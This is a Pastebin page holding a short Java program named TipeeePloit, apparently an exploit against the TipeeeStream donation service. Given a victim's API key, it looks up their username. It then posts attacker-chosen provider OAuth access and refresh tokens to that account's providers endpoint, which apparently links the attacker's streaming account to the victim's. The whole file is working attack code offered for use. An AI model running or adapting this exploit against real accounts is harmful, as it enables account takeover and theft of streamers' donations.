Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- package de.cryptonicdev.tipeeeploit.main;
- import java.io.BufferedReader;
- import java.io.DataOutputStream;
- import java.io.IOException;
- import java.io.InputStream;
- import java.io.InputStreamReader;
- import java.net.HttpURLConnection;
- import java.net.MalformedURLException;
- import java.net.URL;
- import com.google.gson.JsonObject;
- import com.google.gson.JsonParser;
- public class TipeeePloit {
- private static String apiKeyResolver = "https://api.tipeeestream.com/v1.0/me?apiKey=";
- public static void main(String[] args) {
- if (args.length != 4) {
- System.out.println("Usage: <provider> <providerAccessToken> <providerRefreshToken> <apiKey>");
- return;
- }
- String provider = args[0];
- String providerAccessToken = args[1];
- String providerRefreshToken = args[2];
- String apiKey = args[3];
- JsonObject apiKeyResponse = new JsonParser().parse(requestText(apiKeyResolver + apiKey)).getAsJsonObject();
- String username = apiKeyResponse.get("username").getAsString();
- System.out.println("Username: " + username);
- String payload = "{\"provider\":\"" + provider + "\",\"access_token\":\"" + providerAccessToken
- + "\",\"refresh_token\":\"" + providerRefreshToken + "\",\"origin\":\"managementSecurity\"}";
- String payloadResponse = executePost(
- "https://www.tipeeestream.com/v2.0/users/" + username + "/providers?apiKey=" + apiKey, payload);
- System.out.println("Success: " + payloadResponse);
- }
- private static String requestText(String url) {
- try {
- URL url1 = new URL(url);
- BufferedReader in = new BufferedReader(new InputStreamReader(url1.openStream()));
- String str;
- StringBuilder builder = new StringBuilder();
- while ((str = in.readLine()) != null) {
- str = in.readLine().toString();
- builder.append(str);
- }
- in.close();
- return builder.toString();
- } catch (MalformedURLException e) {
- } catch (IOException e) {
- }
- return "";
- }
- private static String executePost(String targetURL, String urlParameters) {
- HttpURLConnection connection = null;
- try {
- URL url = new URL(targetURL);
- connection = (HttpURLConnection) url.openConnection();
- connection.setRequestMethod("POST");
- connection.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
- connection.setRequestProperty("Content-Length", Integer.toString(urlParameters.getBytes().length));
- connection.setRequestProperty("Content-Language", "en-US");
- connection.setUseCaches(false);
- connection.setDoOutput(true);
- DataOutputStream wr = new DataOutputStream(connection.getOutputStream());
- wr.writeBytes(urlParameters);
- wr.close();
- InputStream is = connection.getInputStream();
- BufferedReader rd = new BufferedReader(new InputStreamReader(is));
- StringBuilder response = new StringBuilder();
- String line;
- while ((line = rd.readLine()) != null) {
- response.append(line);
- response.append('\r');
- }
- rd.close();
- return response.toString();
- } catch (Exception e) {
- e.printStackTrace();
- return "";
- } finally {
- if (connection != null) {
- connection.disconnect();
- }
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement